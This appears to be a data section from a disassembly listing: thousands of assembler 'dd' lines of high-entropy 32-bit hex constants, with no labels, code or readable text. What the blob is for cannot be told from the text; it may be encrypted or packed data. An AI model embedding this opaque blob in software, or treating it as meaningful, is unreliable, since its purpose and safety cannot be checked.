dd 88EDE0Ch, 41F73394h, 0F87C5387h, 0A7744894h, 81DE36B1h
dd 0D4D5E641h, 5FE07AD6h, 0DFC6480Dh, 0D62CD071h, 87CB59ECh
dd 0EB19786Eh, 0A4C4AE71h, 0D6C1C307h, 0C8DF9C6Fh, 0CF07C25Ah
dd 0F8C6AC57h, 388CFB58h, 0BCA1D4FAh, 0CF55BC91h, 44191254h
dd 0C7441947h, 5DACAA74h, 0FC689E86h, 0D30FC356h, 6639963Ah
dd 6CBBE781h, 89CB45B6h, 0D4FE68AEh, 0EFEA91E1h, 0A70F839Dh
dd 20155761h, 9D81D75Ah, 141ABF18h, 6FB86C80h, 1AEBDD80h
dd 0A65C636Dh, 565DE78Ch, 6FC1A0A7h, 539F4777h, 5D514C3Fh
dd 23AC527Ch, 73CBA9B9h, 1B9E0692h, 0AE31FBFBh, 0A4E97760h
dd 30633B74h, 17B6F866h, 0DF9B5E7Fh, 69BAF035h, 967E137Bh
dd 8AA86AC1h, 79A33A1Dh, 76D24FA2h, 0A28EBEDCh, 5012235Dh
dd 0FC924E39h, 0DAD85BF4h, 0B2B6A9A3h, 0CB0C2902h, 31BDFEDDh
dd 2B6108FFh, 7B396A04h, 16FA9B5Fh, 0DA293106h, 754B2F91h
dd 0DBD837Bh, 529BCDFEh, 0AAE1E287h, 56278B5Dh, 6126E691h
dd 786447A0h, 8FCD6020h, 0D4C519C2h, 0DDD0A1B8h, 8A1A322Eh
dd 0D66501CFh, 3E913468h, 6FBE2F4Ch, 0B758307Ch, 0A5052D02h
dd 5BC375BDh, 0F87D2B61h, 0B073936Dh, 0D4BDFD58h, 0FCD0EBABh
dd 854D52E1h, 5FC564ECh, 0BF50642Dh, 268B50CCh, 0DA695B12h
dd 0C0534F00h, 0D3F0A59Ch, 16167767h, 81FC7A35h, 52D8FC3Ch
dd 0B7C563B6h, 0BCCE31AEh, 59328F39h, 0DFD03AD8h, 5CBA1A04h
dd 382CBDE5h, 0CB24A09Ch, 0CE15A1F3h, 7E0565AFh, 0DC2F87CFh
dd 26FB3683h, 0D82AF532h, 0E2F01C19h, 794AABC4h, 0F66B72D8h
dd 6A164EB4h, 0BDA09E62h, 3F4D075Bh, 4E76FC7h, 6C6840C8h
dd 78AFC044h, 5835DBA6h, 3B0DC484h, 4781C696h, 31FE6F23h
dd 49AEB200h, 1B47EA86h, 4450FE85h, 0C0CC5750h, 0BACA1A5Eh
dd 74C84E25h, 64C84E31h, 22B62298h, 0BE15968Fh, 0F2E58457h
dd 8A2CC958h, 3A5DF7D5h, 93E03602h, 3DA7B80Eh, 0AF24DA03h
dd 0EA3CA2DFh, 4FFDE77Bh, 1E788B90h, 0BFC5CA09h, 2EB89490h
dd 0FDC60A9Bh, 7E6E40EDh, 61587BD5h, 5F77D8A5h, 0D96DC176h
dd 7D7FF85Dh, 5BC6AA9Ah, 0CCB31E2h, 0C1F23517h, 0C4611933h
dd 5828E974h, 0E1C7A1Ah, 296301EBh, 0AC054EE2h, 24BA83A5h
dd 0A9C488EDh, 757357B5h, 649C3D76h, 398FAC0Bh, 0E8CF0CFCh
dd 0A2A3D2CCh, 0C14A6CBEh, 2EB325A5h, 5A99DAD4h, 0DEB5D182h
dd 3C3E7973h, 0E932752Ch, 0E4A2B4DAh, 0A8358734h, 5770288Eh
dd 9FEC0DE3h, 0A55A4804h, 0C2E589BEh, 0AA7CA5ACh, 81064ABCh
dd 0D5AB6CCBh, 0B69BDFF9h, 15611493h, 0B8B524FEh, 737D5A58h
dd 0BB767B24h, 446C0F28h, 14FCE2F0h, 0D05EADBDh, 0CA070BCBh
dd 9F7699A8h, 24787B5Ah, 1EC792ABh, 4D574F0Eh, 0BEA374D6h
dd 0AABA480Eh, 0D7D87026h, 72D4AF9Dh, 0E77FC53Bh, 0D3079A69h
dd 2CF72813h, 9B47CD2Eh, 98628DACh, 8A363339h, 0EE048D5Dh
dd 37CAB1F0h, 0C2B6A877h, 414B46B8h, 64910954h, 0BEF47C31h
dd 0CC9E29C6h, 8F802C31h, 0CE5ABF91h, 3DBCE570h, 7C9FD58h
dd 9A3701E6h, 8633409Bh, 46C961EAh, 5A1AA7D5h, 0B082918Bh
dd 331C56EDh, 0D1884A75h, 0C0F94C5Eh, 186FA5D6h, 0B357673Ah
dd 8BF5E9EFh, 2C7F51F3h
dd 0CFC127F0h, 0CB7ACED2h, 0B3273C46h, 0A318F501h, 1BF1B330h
dd 6B8658F1h, 0BB06CE06h, 600D15D9h, 0CD91763Ah, 5024A908h
dd 62D35121h, 45519F7Dh, 0E21303F0h, 0F3008175h, 53836BC2h
dd 98939F43h, 0EE4F61C2h, 0D4B26649h, 181A0344h, 0B9B6E619h
dd 0D1EB14F2h, 50DB9B4Ah, 865F97DEh, 657D86h, 74BC1274h
dd 5632F07Ch, 7CE1DFFDh, 0F90BEB92h, 978B6A0Ah, 20EEAC3Ah
dd 35327041h, 1E5AFC37h, 0FDB2D0FFh, 0E2797FB3h, 71CC95D7h
dd 590CD2DEh, 0B9FD3A23h, 7E2F1F90h, 785D0C67h, 0C491BF3Eh
dd 0EAA20099h, 2F11914Dh, 64AF0918h, 0D7EBB774h, 3DCDF4E1h
dd 3577CB34h, 700661F4h, 9827E1FFh, 0C165FDE8h, 0A3502102h
dd 6FF585ECh, 0C1DFBE2Ah, 3713847Eh, 0F2B2BDDCh, 0CF9F4541h
dd 34D97CD5h, 1B8F6DC9h, 503CD142h, 0BA55D6Bh, 0F9977F2Bh
dd 2CE4BBD4h, 0E5EFDFEFh, 92C2AE27h, 0B7725A92h, 0D161752Bh
dd 0FDC7F408h, 3AB4B7AFh, 0E87A499Fh, 1A01209Ah, 0B566C304h
dd 1BEA1EC3h, 970E87C6h, 87668266h, 76C983E7h, 0F68A7434h
dd 224372B2h, 0E6826324h, 0DBC584F1h, 0C213C5EEh, 133ACBF6h
dd 1E3B820Fh, 0D1CCBC4Fh, 71C4770Eh, 7B3A1E07h, 701E3C77h
dd 59C4CB5h, 4D3A103Ah, 0A850FC04h, 0C472E369h, 80E7612h
dd 28CA7E75h, 6365672Fh, 9511EF5h, 4AE78536h, 0CC834AA6h
dd 154C05D6h, 0DD0EBCCAh, 0C89FED86h, 84B368D1h, 0D36EE072h
dd 466A3162h, 5E3DEFE9h, 7BBEDCB6h, 99F4207Eh, 26E414C3h
dd 0D7EC97B8h, 0F9EBECC2h, 386E6EBBh, 0A541AAA0h, 0DA2CE5FBh
dd 782A3451h, 0ED7F56D8h, 131D4AE4h, 2FC82C77h, 1FA48150h
dd 1B4743EDh, 4BF8FD95h, 24103554h, 47D7D422h, 2626EFD5h
dd 0A46A2B98h, 667E890Bh, 0BA9EA116h, 695335D4h, 2A17A92Bh
dd 457F6C3Eh, 0F8CDF5EFh, 58EEA9DBh, 0BC469CAFh, 1BF116E0h
dd 0F6F80F82h, 29AB6F6Fh, 6ED3E0Eh, 6F5F75C3h, 9C0B37C7h
dd 9FED69E9h, 4E6CA675h, 0E3136537h, 46C54E6Eh, 6BA1CEA5h
dd 71CA84E6h, 0B73B123h, 0B3DEE92Ch, 0FEC582BDh, 578D0E35h
dd 811E5B3Bh, 924A058Bh, 2A9DBC76h, 0F99B68F8h, 0BFB280C9h
dd 0C370714Ah, 6BA27B76h, 3261083Ah, 84EAB729h, 0AA870DD6h
dd 0B18EDD64h, 95BC4A74h, 8AD2C5F1h, 0B978BCC4h, 0D165D030h
dd 76001F22h, 983DBF9Ah, 5EEDE61h, 16B21478h, 948E63D9h
dd 7D82B695h, 85E5689Ah, 587D8E43h, 21BF4199h, 0EE265CC3h
dd 0E1B67001h, 0CFF902B7h, 0F8D9611h, 876B78B3h, 0CB5F5985h
dd 0E08EE96Eh, 0F5090240h, 362ED90Eh, 0AA5ABB75h, 0D016E71h
dd 8A11DA0Dh, 8DDCDDE6h, 9B4F365Dh, 1C3D5E8Dh, 0D198421Fh
dd 0E4815C7h, 5EB72E21h, 0BF626DB7h, 0AF7BD617h, 2C7DA1CDh
dd 0CD5A6819h, 0DEC10AFDh, 12C0D436h, 0F7841651h, 9FB68AC8h
dd 42D86804h, 0B6A90BCFh, 542C0DA5h, 0F531914Dh, 3B2F14EFh
dd 1E79F1EEh, 884CBA57h, 434D4FBFh, 0D9ABFB25h, 0CDB6264Ah
dd 53C5ED39h, 8192DD74h, 35B381F1h, 64785906h, 0D88E9D50h
dd 0C99803B6h, 61FFC5Fh, 6BD8D114h, 0A704291Eh, 0A5AD6872h
dd 0E478AB22h, 0E37F921Bh, 0A15C7A1Bh, 0EE7688D3h, 76926284h
dd 0C5F2053Ah, 7E4FF1A1h, 3F33D588h, 0D2E460CBh, 0B3D8B696h
dd 0F3783591h, 58A735D9h, 0E8987D58h, 78EBDB7Bh, 1965AEDEh
dd 31DBA11Dh, 8550CAFBh, 259EE0DEh, 452EF20Dh, 63EDF3E6h
dd 8440F3BDh, 0EA91DDA0h, 3CE14F57h, 0BA2BDA13h, 360574EDh
dd 1043AD0Ch, 99E1A85Eh, 1B210E22h, 4426D754h, 0E9C65DE6h
dd 239293D9h, 0CD27F49Fh, 0A990A573h, 55E55A65h, 1052157h
dd 98E933C3h, 0F62957E6h, 22A380C2h, 0BD0565BDh, 97FDCC83h
dd 8DE5CB7Eh, 0A28931F6h, 930B8D06h, 0FBE64A05h, 80388054h
dd 43BF32BCh, 36993D9Fh, 0DA37F783h, 0DAD4361Ch, 0BEB8EFEFh
dd 8E80AB9Ah, 0D2A17D2Ah, 0F5AAED04h, 54D9D53Eh, 6E5AB269h
dd 0C1F4A669h, 69A291F8h, 0EEF5E9BAh, 0D847B23Dh, 47173ADCh
dd 0C3C7AAF3h, 38FBCB07h, 23815C08h, 4FFA2222h, 616BEDEAh
dd 804F6F9Eh, 0B4DB1719h, 0E7CD4617h, 0A602E226h, 0C6AA1A91h
dd 0A3A4FFD1h, 0EC73FE74h, 819E0B87h, 0A8C88Fh, 6894868Dh
dd 240D81E3h, 50465711h, 94662474h, 0B1318DEh, 0E1634159h
dd 0ED83D9AEh, 0DC3C5C6h, 0F9CB4611h, 2113FEAEh, 0E6E70033h
dd 0A6FAEAEBh, 0C21E991Ch, 5443BE7Dh, 5F533D9Ch, 815C0E98h
dd 61E7AF1Fh, 2F73CBC3h, 460448BFh, 0F4C9F3Eh, 0DC1411E6h
dd 9196732h, 0F141A6B5h, 55B15CB0h, 764D6399h, 5429AA2Ah
dd 43191A78h, 9FCE5534h, 102C11D7h, 0C416EE97h, 7F75400Ah
dd 0EAB0BDC4h, 18EF20Ch, 0A42ED4E5h, 84F39EC8h, 43EAADCEh
dd 0F470C25Fh, 0C97E7CF3h, 0CDB86505h, 6EAA6D2Eh, 411FB2F1h
dd 0FE840A3Fh, 3BD60791h, 0A0280AE4h, 373B3FDFh, 0C70F82CFh
dd 1757FDEEh, 0B37DBE3Ah, 0F5B87A18h, 0ED0CA8F6h, 80F9643Bh
dd 0FCAE1ADFh, 53A8D796h, 1BB7AD7h, 1A1DE974h, 0DD8887B3h
dd 704DBD74h, 0C0527236h, 0BCF7BD48h, 0AB1A8856h, 0BE05E963h
dd 0F673459Eh, 0F887659Eh, 0A3E08235h, 0DAE829B2h, 0E0C94ECEh
dd 15F1AD0Dh, 0E9D5268Bh, 19675E03h, 1241277Fh, 6A12A0E8h
dd 2E1A3317h, 3E17F3DAh, 0D8C4E051h, 9202D8Fh, 19E7A336h
dd 48EDC29h, 0FFB4FD2Dh, 91431A8Ch, 9F71AE06h, 6E24C84Eh
dd 0B93F0232h, 49452A2Bh, 9CDF6518h, 581F2793h, 81E1C47Fh
dd 0A6F922F3h, 308D4B6Ah, 0FA6369EBh, 60C5257Ah, 137B9A04h
dd 16869857h, 71918AFEh, 9F6270E5h, 0BCE09F71h, 58CEA528h
dd 70B58C67h, 3F0FC37Bh, 0A088CF6Ah, 92739161h, 137005A5h
dd 34F35F5h, 3A1D3737h, 3F6D9EFBh, 8ACD00EFh, 29A29C13h
dd 4D0BD697h, 0A0C09405h, 694C0C6Bh, 2A7467F4h, 16826CC8h
dd 175854A0h, 0DF824446h, 0EAB0E280h, 41544444h, 8F86EFF8h
dd 6601B5Ch, 0C7A01F1Dh, 5B6BF1Ch, 0BF18B322h, 0D7EB6651h
dd 122BD96Ch, 89991979h, 527D2E8Dh, 40881DA2h, 51BF2E19h
dd 220EDFBFh, 0DC341E59h, 9D9E3C12h, 3FDFD171h, 0EC7449D4h
dd 844B5BE5h, 0A6F84051h, 19D0B5E4h, 2C6063B6h, 0BFA5FA42h
dd 0AE17E73Eh, 0E51836D9h, 0DD27936Bh, 4904D567h, 0E393AF2Fh
dd 0DB0889D9h, 477261F6h, 969E5185h, 1E497170h, 0AACA4CCCh
dd 76A2394Fh, 0C6865BB1h, 78C0A365h, 0B492876h, 9BA50358h
dd 6D4169F7h, 7750F103h, 0A17BC9F2h, 0E3FA393Ch, 0E73F646h
dd 0BE45EB55h, 58927210h, 95DD8E16h, 2720E45h, 0BE97B4CEh
dd 5CB20882h, 0A6A2B4FAh, 96EAD4ECh, 732C3051h, 75D6D2DDh
dd 41D82FC8h, 0DBD7898Ah, 8245486Fh, 28A34F7Eh, 31FFA11Bh
dd 0C98D4DA1h, 82556687h, 0F9E5E02Ah, 0A7076EA2h, 45439FCDh
dd 4BD252FAh, 64955889h, 0F7C5FD25h, 7D0E348Fh, 2A226897h
dd 88B98F57h, 2327152Bh, 8B41A742h, 3CBAF867h, 693A5D00h
dd 0A294E52Ch, 0E2960BD0h, 11EACBF3h, 0DFFCBB62h, 0D8F5544Eh
dd 9A833C4Bh, 4E9D70D9h, 7F5B3261h, 71E8A617h, 7472EC08h
dd 34E20CECh, 40D7127Fh, 2F089293h, 0F64973BEh, 22CFC2CDh
dd 0B401A603h, 92BC74A2h, 0D9A0736Eh, 17FF3B4Fh, 198DE080h
dd 0B4EB34Ah, 62B59E22h, 33A72038h, 2B362266h, 0FD263AC8h
dd 0AA755747h, 4872A283h, 3664AE76h, 0F48F4558h, 44ECE254h
dd 96CAA8B8h, 0EBB35B5Ch, 4C804C08h, 0C0DDA730h, 212E65BFh
dd 0E5AE24F3h, 32C9B0B4h
dd 8DE5354Ah, 0BDBF606Ah, 487EA989h, 725B0398h, 245DB2E3h
dd 8E797B08h, 2D4E227Fh, 8F4BDE14h, 921D7EAEh, 4D2CF0ABh
dd 0DDB3FCFFh, 0ED9F35E6h, 0D62050EBh, 0ADD7D61Eh, 74E81CBCh
dd 627922F1h, 70D235h, 0E426452Eh, 7901D1BBh, 0CEDFE9B5h
dd 0F02A5376h, 80555E0h, 9AA4BFF5h, 4BE9C58Fh, 36EAFE1Fh
dd 7CEAE298h, 9D23C2FDh, 568272D0h, 50296775h, 853ABB4Ah
dd 0BDA174D5h, 0F65919DBh, 221D3BCDh, 3BB9F5E3h, 0EDD617A6h
dd 0A0BFD1EAh, 0E104703Fh, 0F48D61D7h, 0CBB6169Bh, 0BD87EC82h
dd 77BDD091h, 0C9513CC8h, 4EEC4362h, 472CDF9Fh, 0FBB1A37Dh
dd 0D400CA55h, 0E2907FA9h, 0FEFECEC2h, 0CAB94ED1h, 403BDA38h
dd 95CB3CEAh, 0B40E03E2h, 11DB6ECAh, 0E6394962h, 0D0A713B5h
dd 0D9F7E0A2h, 27616CA7h, 83965865h, 7E554354h, 99868AEh
dd 0A3CB493Ah, 6D8B2A87h, 0F92F46C5h, 57856E78h, 9E6DE069h
dd 5C108C0Eh, 33E26214h, 30A10259h, 0B9456930h, 2338656Ah
dd 321D1427h, 9D8D69D0h, 6F9F8D24h, 68B9EB0Eh, 0E844D927h
dd 972C282Dh, 0B0B5874Fh, 0E7BC8D74h, 17967FCAh, 9F705AD4h
dd 2505011Ah, 0EFB76EB5h, 0DE004BA7h, 16F88FCBh, 5C3ABE86h
dd 0CAEBF2EBh, 34584CC0h, 16475EB9h, 5D53C917h, 0E85DCB48h
dd 71ACBF8Ah, 6FB8271Dh, 0FD819ED0h, 245ACCDBh, 0D0A8F74Eh
dd 0E072C28Eh, 0D0309DEAh, 9DD9A18Ah, 1E611795h, 405B4883h
dd 0F796A996h, 4BBBECE5h, 9C60CD57h, 0E0CCE8FBh, 35CE91C8h
dd 963D1318h, 844DDEE5h, 14EC00DCh, 4DFB53E2h, 11CE6FAAh
dd 5A81BBD5h, 40273FA9h, 0AD57312Dh, 13F1E285h, 572AE71Eh
dd 675ED2FDh, 3BB891F9h, 52A5A91Ch, 0DC4C7847h, 0F1FBC343h
dd 10338A73h, 25E4FA50h, 402B4B46h, 6454AF18h, 0F7A7806Ah
dd 0F6D3A704h, 0E77DABF6h, 51CC17CDh, 9D979C7h, 5EE119C5h
dd 98BAC855h, 0E061FEFh, 0B198A20Bh, 0DB6C5B48h, 1004AEB7h
dd 0DBFA449Fh, 1C9B4A22h, 0B6A83591h, 6F3350B4h, 0C5CDE65Dh
dd 0D4B74CBFh, 0C187E862h, 77408069h, 805D815Ah, 9F786C20h
dd 1696393Ch, 0EF9F716Dh, 93C38FA3h, 0C78CD960h, 6FBD9045h
dd 7381B78Eh, 0D63B0963h, 6C793498h, 6EEA1140h, 71536C77h
dd 0C8277FA5h, 0D63E6899h, 0B81BCCF5h, 9BA3AF04h, 37C7DB00h
dd 0D0A655AFh, 3EA49A09h, 3B613DFAh, 3E6E7369h, 0F3EC784Bh
dd 0B3A7A46Bh, 0CF9AB240h, 137EF969h, 0BA9B2DC3h, 60222230h
dd 0DF066AF4h, 0DF32F454h, 51B2D777h, 327D4AD1h, 0B1D26BB0h
dd 288B26F7h, 8590C150h, 0C23DDBD7h, 0F74B7951h, 98FC76D2h
dd 0A76527FAh, 5B664600h, 0EFBA81Fh, 0AC36F0ACh, 947419E7h
dd 0A909ADBEh, 0C7CD54A8h, 3A17DFA9h, 86C2EB37h, 7C9C3EC9h
dd 65978A3Fh, 8CAF96F3h, 0C23F60FAh, 3139279Eh, 3D8402D0h
dd 0D8F45507h, 0FAE87A9Ah, 0DE35ACA0h, 0F3B26AEDh, 0B0EB6A7Fh
dd 3D1CDF83h, 6A9293DCh, 42722F1Ah, 8D1CB511h, 0BA66096Bh
dd 51770599h, 0BF0D7925h, 0A3F1C251h, 0A23B5E4Dh, 0F147AF92h
dd 9E9DCF5Ah, 69F3B0B4h, 14F71DD3h, 0BA876D7Fh, 0B2BC7625h
dd 58178209h, 6A294508h, 57E4876Ch, 0FE2E9C4Bh, 0D4DC4769h
dd 71087BC7h, 1A60A291h, 8E6DDD4Eh, 6AF56A9Eh, 1E4FB9AEh
dd 21896176h, 2D2A838Fh, 3373811Eh, 0A3958518h, 633B020Fh
dd 26A81C9Eh, 78BF6555h, 630FE96Ah, 1642456Eh, 98F33E23h
dd 5DD5B38Bh, 48C4FF5Dh, 6E4B0724h, 0C7AD45E8h, 0F8BB48F4h
dd 0B7550C25h, 12A514E8h, 0D6C20AF1h, 77EB839Eh, 511FBC7Ah
dd 39731F97h, 0ACCEE7C0h, 0D04E6128h, 0B8CDE067h, 0C242BAABh
dd 0DF2F951Bh, 0ACA7A9D3h, 8278965Bh, 0FDB95D99h, 0CF76468Eh
dd 7979097Dh, 0C299EA05h, 97B04E13h, 0B32E49F3h, 536094A0h
dd 0F66474A2h, 0EE8D2A1Bh, 1C2788F3h, 8C49AA07h, 4C37A657h
dd 0A3315101h, 0BC77C608h, 0DE46EE21h, 78E79A95h, 0BD8C6C22h
dd 241605F3h, 2829C660h, 237F3E92h, 0EFBB2BADh, 0D349EF78h
dd 8DF6F82Fh, 0E1BE5BC6h, 3CC4B578h, 44A8F97Ah, 0CB9B1622h
dd 0E1553847h, 0D89F4BADh, 5DBB2C69h, 6A8103F0h, 0FA7780E3h
dd 0EF87C0C6h, 788C7660h, 197F3CBBh, 6ACFDD2Fh, 3D7DF8D6h
dd 8BB4283Ah, 44EA74E3h, 0A3CDA2DFh, 0C75D5923h, 0CA9786EAh
dd 6186936Dh, 0D5A9A81Bh, 16BEE6F7h, 9C8E3D4Fh, 6C91D802h
dd 0AE065505h, 0D1FF7D57h, 0A88F58B0h, 2069A688h, 48FB4A42h
dd 0A49A7E4Ch, 3EA349A0h, 7B5595D3h, 693045BFh, 839AC6F3h
dd 0A15911Ch, 84CFB23Eh, 430F201Ch, 0AF156576h, 0E217B34Ch
dd 0ED300688h, 412CF20Ah, 0FDFEECB9h, 48F83FA6h, 70FF37B9h
dd 0D36CD8E3h, 192A673Dh, 0BBAFCB61h, 0FCAAA050h, 0FCD88B0h
dd 1A8B6F07h, 287E331Bh, 645C7947h, 38BBF35h, 513DE401h
dd 12490AD2h, 948873F5h, 68790671h, 13FB4491h, 54B3212Fh
dd 26F592B8h, 91F5D5C6h, 51B8CDEFh, 0E1CD3146h, 6A31C7C7h
dd 1FEE3564h, 683BC7D3h, 0A403FE6h, 0CB1FF9FFh, 0A5066004h
dd 0B8930BC1h, 0AE203721h, 519553D2h, 1FC8429Ch, 0BB0EFA49h
dd 4924C975h, 0C2A038EBh, 4D4D87C4h, 22691D0Ah, 0E4F7DE26h
dd 4185A443h, 72DDB52Dh, 11DCE6Bh, 1CA1BE19h, 50DD3D23h
dd 67CF1B97h, 79D2F722h, 9D1DC3D3h, 1287DCE1h, 504F14A4h
dd 0ACB8DCCCh, 0B5067C81h, 0BACAE12Fh, 4ED70DA3h, 69E73AE8h
dd 0A588B7A2h, 73ADB579h, 0E325226Fh, 0E21F6EFAh, 0DB137683h
dd 11DD05A4h, 0C5CBF7CEh, 697D2703h, 1D5B2Fh, 0EC187069h
dd 980AD056h, 0D2FFB52Ch, 6961871Dh, 0B3411FDDh, 0F644E00Ah
dd 825E1668h, 31BB3BF1h, 7F67E586h, 5114F7F4h, 7975CF70h
dd 4ECA42AFh, 4CA0E071h, 78093D46h, 0B5FA1994h, 45A6D5E7h
dd 70F72C5Ah, 1F7248C1h, 0A43640FCh, 685B1667h, 0B872EB5Eh
dd 0D89A734Bh, 59771AC9h, 0B20D6DD4h, 0AF71A419h, 0CB545E40h
dd 7BAF9044h, 3B9F1639h, 553DF90Eh, 0F23EC102h, 0EEEBADA2h
dd 0DA766A8Fh, 0A7CDC553h, 0AB505DA2h, 5536D977h, 8B7C38A0h
dd 0A29FAA0Eh, 0BA87E6h, 0C1EB4620h, 0BA828583h, 0B2C93084h
dd 0D03375E2h, 0E9F896EFh, 48046403h, 0B4483C89h, 7B65EFDDh
dd 78E1840Ah, 91C1AD7Bh, 1FB535A5h, 0F10CF146h, 6FE1003h
dd 0D1B706F0h, 53E08F82h, 7720D6AFh, 6CC31383h, 18F4725Ch
dd 7233E2Dh, 679D98A9h, 0F954485Eh, 71EFB2B7h, 0E3BE4D63h
dd 0E847B9BAh, 75BD6E0Ah, 0E39A4B3Ch, 0E0EC75B2h, 0D9DF2707h
dd 4B46DFF9h, 38A12023h, 6F2E0A1Ch, 18674AEh, 58EE47CDh
dd 0BD419AE2h, 0E31EC79Bh, 9CB05AA6h, 0C5BC5E01h, 7888502Bh
dd 0D2E45BFh, 7271BFC0h, 2DC3935Eh, 0BD4F1054h, 954F08A0h
dd 41CE4F8Dh, 0A555D4B9h, 5DA001B8h, 8EAD12C3h, 85ED79ADh
dd 0FCEEBA30h, 87D7ABD6h, 13D27692h, 0CB615C88h, 0E0835A90h
dd 6A7310DAh, 69A947E9h, 4922146Fh, 15AFDB8h, 9159A5C7h
dd 0FBA51B45h, 0D670726Ah, 0E4E08540h, 0CF73800Dh, 4F950A4Fh
dd 69C5C674h, 1D9E51A9h, 288AE320h, 3AF0174h, 2712F0EBh
dd 0DC88F75Eh, 11B5270Fh, 9D455496h, 0F8B0BED7h, 775E9133h
dd 0EF960CD1h, 0F443EE10h, 0E3A4A387h, 0EDE4978Bh, 6F979AEEh
dd 0C4D7ED18h, 0D69E787Ah, 1BA75A05h, 720291EBh, 1B59590Ah
dd 82EE4AEh, 0CDD657F7h, 42E64538h, 0E069E2Fh, 0CDF32385h
dd 40AD6BB2h, 8B209FF8h, 2BF82607h, 6D1E867Fh, 2BBC440Ch
dd 58E3E390h, 0B0A7F0AAh
dd 0F97ED755h, 1E360BF0h, 4255AE4Ah, 870B3B88h, 57978E05h
dd 139811C3h, 48CB840Fh, 0AD7BF31h, 9A401B2Fh, 3785A154h
dd 0E5A9B3F5h, 4327FE8Eh, 8C062F15h, 7ACD730Fh, 1A45FB77h
dd 4E0D0616h, 7DB07E60h, 0ECABE21h, 0B5DEB83Ah, 11A87BEDh
dd 94AE22E3h, 4F1DEC7Dh, 6C813BCAh, 770BDD41h, 1A37A054h
dd 0CAEFDEE6h, 371D947Ah, 0BB3A78DBh, 9C9C04F8h, 22101220h
dd 0ADBEF3E8h, 96DEE6B7h, 0FE2C8DABh, 0CEA40698h, 0D6C4590Fh
dd 70832705h, 0D9886F1h, 17554B85h, 8B946903h, 34B9631Ch
dd 0C03EC442h, 8261EBF8h, 0EAD48DA4h, 0FCD417A0h, 3239E3F9h
dd 36489069h, 55F734B8h, 60F8916Dh, 0AB5887h, 524D7C74h
dd 0B2162286h, 5B20A79Dh, 0AF8CC6ABh, 21A8DFF0h, 150F314Dh
dd 9968EDDBh, 94F97B10h, 74275376h, 0F11B80FDh, 687AE01Ch
dd 4484345Ah, 99ED7EEh, 86E8535h, 0E2773EEFh, 0AADC48h
dd 0C1D15567h, 60B78A98h, 0A656E04Bh, 0B5F26D71h, 6C7CBB39h
dd 6F9F49E2h, 5E37DF73h, 0FA47C990h, 19305273h, 0F2B75F01h
dd 8AF9714Ah, 15B4C418h, 18D64E8h, 334E4AE1h, 0D3DC4524h
dd 5489FF0Ch, 0FA90B65Fh, 0F0205D5Dh, 0BCB6354Dh, 641D9D8Dh
dd 0ED2671D5h, 2EF78BE4h, 0AB1C73CBh, 7D22C0EAh, 43EC81D7h
dd 6663EEC6h, 1B6B8455h, 0D9C943DEh, 76C37981h, 0B2919CCFh
dd 0E9DF3E83h, 40F90FFh, 2E8C02A1h, 43570F53h, 453139Ah
dd 7B9B68E6h, 0FF689FA7h, 36DA3DD9h, 33469C85h, 0BF2DE7E3h
dd 0A3324908h, 0B72B39E9h, 0A2F44CF7h, 0BC9D2714h, 0E27D2F1Bh
dd 3CD01B54h, 0BABB6EA2h, 0C08B524h, 6E4C533Ch, 0C763A6A3h
dd 4F7531A7h, 0DAE328AFh, 70CF94E6h, 8FC4CC26h, 9EFEBB84h
dd 216D0EEDh, 285F668Fh, 794BD74Ch, 4112D04Dh, 0E4500A0Dh
dd 66EE13A2h, 0E97C312h, 64F01564h, 4964CFF5h, 5B5BA9B1h
dd 849EC2Fh, 0ED513C41h, 0C926AB84h, 0F2A5E75Fh, 88D8F34Ch
dd 209D07D7h, 0A75E3A49h, 6F73C982h, 0C2546412h, 0C6BB647Ah
dd 0E7E88D67h, 7C313A58h, 3406BE33h, 569A2221h, 0C4258B77h
dd 0F07C3CF4h, 0CBBC02D9h, 0F9FE2E1Eh, 52B8E1D7h, 0D805A7DAh
dd 8B721576h, 0E19EB530h, 5EB35680h, 0B2AC20ABh, 9028C272h
dd 71898864h, 73E68F27h, 3889EE72h, 8EE83541h, 78E4F2D3h
dd 0EE9AE766h, 0BE6005E7h, 0D39520B2h, 4D59AF61h, 0B103DDE0h
dd 0D9466D20h, 64F30D3Fh, 0CDFE9DDBh, 5F33CAC4h, 0EF826D07h
dd 937847EDh, 0B490479Dh, 0B4AA543Ch, 7EFBC256h, 0BBE51356h
dd 0BA47BA82h, 823A1AC2h, 3F049CCBh, 6D80158h, 0A90D7A44h
dd 6A9B806Eh, 0C3F47939h, 80FA168Ah, 5B10D8C1h, 816FAF15h
dd 0A33DBF0Eh, 8A379660h, 67BDF96Bh, 0C862F525h, 69DEF8BCh
dd 2304AC4Dh, 0DB5D9610h, 0CE7E8824h, 10863C74h, 3EC79575h
dd 0FB08601Fh, 0AEF64335h, 18A2A977h, 0B0661E92h, 9F24217Dh
dd 0DCBABC74h, 0F9583336h, 68DD938h, 91D56562h, 0D9EC95ADh
dd 3995F3CFh, 8CAD5A88h, 523B216Ah, 0E979D88Ah, 32CB47F7h
dd 397F4A2Bh, 2DEAC67Ch, 91D40ADBh, 0C1B4B530h, 0C9443E74h
dd 5F3ABFB3h, 3282A4D3h, 0D3FDEh, 9DB87A4Fh, 324AAAA6h
dd 0B9FBD5FEh, 0DCD34444h, 9E2CD13Eh, 5F251FF1h, 27DBC878h
dd 5E9E72DAh, 1C42A60Ah, 0D8BC486Bh, 0B1E65699h, 0AD392C18h
dd 9B9558F6h, 6EC6C42Fh, 0C04C21E2h, 8DB04FE9h, 0A47BBC3Ah
dd 59DA724Ch, 0AEF9C28Eh, 6714BFDFh, 3E2B3FC3h, 0DFC81047h
dd 1879B4C5h, 80EBEBF0h, 0A3ECA824h, 66C05B70h, 78C48E81h
dd 4F25BB83h, 0D347126Ah, 0E33F7646h, 9E425A96h, 635A9AF2h
dd 0B690FCE1h, 0AC3D4BB8h, 52BBA5F2h, 0BDC53C6Dh, 0DBA3340Eh
dd 0F53A7Ah, 0AE3F943Eh, 0C849D25Fh, 25F2E7D6h, 6439D1DCh
dd 9BAE54C9h, 0CB586142h, 490DD462h, 0C2767022h, 0F77C47DFh
dd 0DBB32FF2h, 9A23F9FDh, 693A00A4h, 6E98DCC0h, 0AACB9DD6h
dd 1D391899h, 2A64D8ACh, 0B92E537Ah, 397FBD3h, 342E86A3h
dd 2C0B09FEh, 0C851219h, 0DF98F556h, 107117F4h, 0F32B52EEh
dd 0AB58C4B0h, 9703145h, 0FDBEBBE2h, 2DF8B262h, 0ADE5A706h
dd 2F64FC6h, 9C47F3ABh, 774B50A7h, 0E8E8D3A1h, 0B7263627h
dd 0F520FA20h, 45205096h, 0C408AB6Dh, 0EA48AC11h, 7AFF46DCh
